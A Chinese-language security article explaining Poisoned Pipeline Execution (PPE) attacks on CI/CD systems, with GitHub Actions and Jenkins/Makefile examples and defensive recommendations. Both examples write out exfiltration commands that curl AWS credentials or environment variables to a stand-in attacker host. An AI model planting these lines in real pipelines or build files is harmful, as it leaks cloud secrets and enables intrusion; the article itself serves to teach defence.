在上一篇文章,我们了解了依赖链滥用和基于流水线的访问控制不足这两大安全风险,并给出缓解风险的安全建议。本篇文章将着重介绍 PPE 风险,并提供缓解相关风险的安全建议与实践。
Poisoned Pipeline Execution (PPE) 风险指的是攻击者能够访问源代码控制系统,但无法访问构建环境,通过将恶意代码/命令注入构建流水线配置来操纵构建过程,本质上是“中毒的”流水线和运行恶意代码作为构建过程的一部分。
PPE 风险通常存在代码仓库中,可控对应的 CI 管道配置文件,通过修改 CI 配置文件达到执行对应命令的目的。有权操作 CI 配置文件或 CI 流水线任务所依赖的其他文件的攻击者,可以将恶意命令置入这些文件,通过执行这些恶意命令,最终“毒化”执行这些命令的 CI 流水线。执行未经审查的代码的流水线,比如一些直接由拉取请求或提交到任意存储库分支触发的流水线,由于在设计上包含未经任何审查或批准的代码,更容易受到 PPE 风险的影响。一旦能够在 CI 流水线中执行恶意代码,攻击者就可以在流水线身份的上下文中进行各种恶意操作。
PPE 的三种类型
直接 PPE(D-PPE)
在 D-PPE 场景中,攻击者修改他们有权访问的存储库中的 CI 配置文件,通过直接将更改推送到存储库上未受保护的远程分支,在提交 PR 时随着分叉的更改而变化。由于 CI 流水线执行是由“push”或“PR”事件触发的,并且流水线执行是由修改后的 CI 配置文件中的命令定义的,一旦构建流水线被攻击,攻击者的恶意命令最终会在构建节点中运行触发。
间接 PPE(I-PPE)
在以下几种情况下,即便攻击者能够访问 SCM 存储库,也无法使用 D-PPE:
-
流水线配置为从同一存储库中单独的受保护分支中提取 CI 配置文件。
-
CI 配置文件存储在与源代码不同的存储库中,则用户没有直接编辑它的选项。
-
CI 构建是在 CI 系统本身中定义的——而不是在存储在源代码中的文件中。
在这几种情况下,攻击者就会选择向流水线配置文件引用的文件中注入恶意代码来破坏流水线:
-
make:执行“Makefile”文件中定义的命令。
-
从流水线配置文件中引用的脚本,与源代码本身存储在同一存储库中(例如,
python myscript.py - myscript.py
将被攻击者操纵)。 -
代码测试:在构建过程中在应用程序代码上运行的测试框架依赖于专用文件,这些文件与源代码本身存储在同一存储库中。能够操纵负责测试的代码的攻击者能够在构建中运行恶意命令。
-
自动工具:CI 中使用的 Linter 和安全扫描器通常也依赖于存储库中的配置文件。很多时候这些配置涉及从配置文件中定义的位置加载和运行外部代码。
因此,在 I-PPE 中,不同于将恶意命令直接插入流水线定义文件来破坏流水线,攻击者通过将恶意代码注入到配置文件引用的文件中,一旦触发流水线并运行相关文件中声明的命令,恶意代码最终会在流水线节点上执行。
公共 PPE(3PE)
执行 PPE 攻击需要访问托管流水线配置文件的存储库或其引用的文件。大多数情况下,只有开发人员拥有此类许可,也就是说攻击者必须要获得开发工程师对存储库的许可和权限才能执行直接或间接 PPE 攻击。
然而,在一些情况下,互联网上的匿名攻击者可以使用“中毒的” CI 流水线:公共存储库(例如开源项目)通常允许任何用户做出贡献,通过创建拉取请求,建议对代码进行更改。这些项目通常使用 CI 解决方案自动测试和构建,与私有项目类似。如果公共存储库的 CI 流水线运行匿名用户建议的未经审查的代码,它很容易受到公共 PPE 攻击,或者简称为 3PE。如果易受攻击的公共存储库的流水线在与私有存储库相同的 CI 实例上运行,这也会暴露例如私有项目的敏感信息这类的内部资产。
PPE 示例
通过 D-PPE (GitHub Actions) 窃取凭据
在以下示例中,GitHub 存储库与 GitHub Actions 工作流程连接,该工作流程获取代码、构建代码、运行测试并最终将工件部署到 AWS。当新代码被推送到存储库中的远程分支时,代码(包括流水线配置文件)由运行程序(工作流节点)获取。
name: PIPELINE
on: push
jobs:
build:
runs-on: ubuntu-latest steps:
- run: |
echo "building..."
echo "testing..."
echo "deploying..."
在这种情况下,D-PPE 攻击将按如下方式进行:
- 攻击者在存储库中创建了一个新的远程分支,在其中使用恶意命令更新流水线配置文件,这些命令旨在访问 GitHub 组织范围内的 AWS 凭证,然后将其发送到远程服务器。
name: PIPELINE
on: push
jobs:
build:
runs-on: ubuntu-latest
steps:
- env:
ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY_ID }}
SECRET_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
run: |
curl -d creds="$(echo $ACCESS_KEY:$SECRET_KEY | base64 | base64)" hack.com
-
推送更新后,将触发从存储库中获取代码的流水线,包括恶意流水线配置文件。
-
流水线基于被攻击者“毒化”的配置文件运行。根据攻击者的恶意命令,存储为存储库机密的 AWS 凭证被加载到内存中。
-
流水线继续执行攻击者的命令,将 AWS 凭证发送到攻击者控制的服务器。
-
攻击者随后能够使用窃取的凭证访问 AWS 生产环境。
通过 Indirect-PPE (Jenkins) 窃取凭证
这个例子展示的是 Jenkins 流水线从存储库中获取代码、构建、运行测试并最终部署到 AWS。在此流水线中,Jenkinsfile 是受保护的,因为是从存储库中的主分支中获取的。因此,攻击者无法操纵构建定义,也无法获取存储在 Jenkins 凭证存储中的机密或在其他节点上运行任务。
然而这并不代表流水线没有风险。在流水线的构建阶段,AWS 凭证作为环境变量加载,使其仅可用于在此阶段运行的命令。在下面的示例中,基于 Makefile 的内容(也存储在存储库中)的make命令作为此阶段的一部分运行。
The Jenkinsfile:
pipeline {
agent any
stages {
stage('build') {
steps {
withAWS(credentials: 'AWS_key', region: 'us-east-1') {
sh 'make build'
sh 'make clean'
}
}
}
stage('test') {
steps {
sh 'go test -v ./...'
...
The Makefile:
build:
echo "building…"
clean:
echo "cleaning…"
在这种情况下,I-PPE 攻击将按如下方式进行:
- 攻击者在存储库中创建拉取请求,将恶意命令附加到 Makefile 文件中。
build:
curl -d "$$(env)" hack.com
clean:
echo "cleaning…"
-
由于流水线配置为在针对 repo 的任何 PR 时触发,Jenkins 流水线被触发,从存储库中获取代码,包括恶意Makefile。
-
流水线基于存储在主分支中的配置文件运行。进入构建阶段,如原始 Jenkinsfile 中定义,将 AWS 凭证加载到环境变量中。然后,运行make build命令,该命令执行添加到Makefile中的恶意命令。
-
执行 Makefile 中定义的恶意构建函数,将 AWS 凭证发送到攻击者控制的服务器。
-
攻击者随后能够使用窃取的凭证访问 AWS 生产环境。
影响
在成功的 PPE 攻击中,攻击者在 CI 中执行未经审查的恶意代码。这为攻击者提供了与构建任务相同的能力和访问级别,包括:
-
访问 CI 任务可用的任何机密,比如作为环境变量注入的机密或存储在 CI 中的其他敏感信息。CI/CD 系统负责构建代码和部署工件,通常包含多个如云提供商、工件注册表和 SCM 本身的重要凭证和令牌。
-
访问任务节点有权访问的外部资产,例如存储在节点文件系统中的文件,或可通过底层主机访问的云环境的凭据。
-
能够以构建过程构建的合法代码为障眼法,将代码和工件进一步传送到流水线中。
-
能够访问作业节点的网络/环境中的其他主机和资产。
建议
预防和缓解 PPE 攻击,涉及跨 SCM 和 CI 系统的多项措施:
-
确保运行未经审查的代码的流水线在隔离节点上执行,不会暴露在机密和敏感环境中。
-
评估外部贡献者在公共存储库上触发流水线的需求。在可能的情况下,避免运行源自分叉的流水线,并考虑添加控制措施,例如要求手动批准流水线执行。
-
对于包含敏感信息的流水线,确保配置为触发 CI 系统中的流水线的每个分支,在 SCM 中都有相关的分支保护规则。
-
为了防止操纵 CI 配置文件在流水线中运行恶意代码,必须在流水线运行之前审查每个 CI 配置文件。或者CI 配置文件可以在远程分支中管理,与包含在流水线中构建的代码的分支分开。远程分支应配置为受保护。
-
从不需要的用户中删除对 SCM 存储库授予的权限。
-
每个流水线应该只能访问实现其目的所需的凭据。凭据应具有所需的最低权限。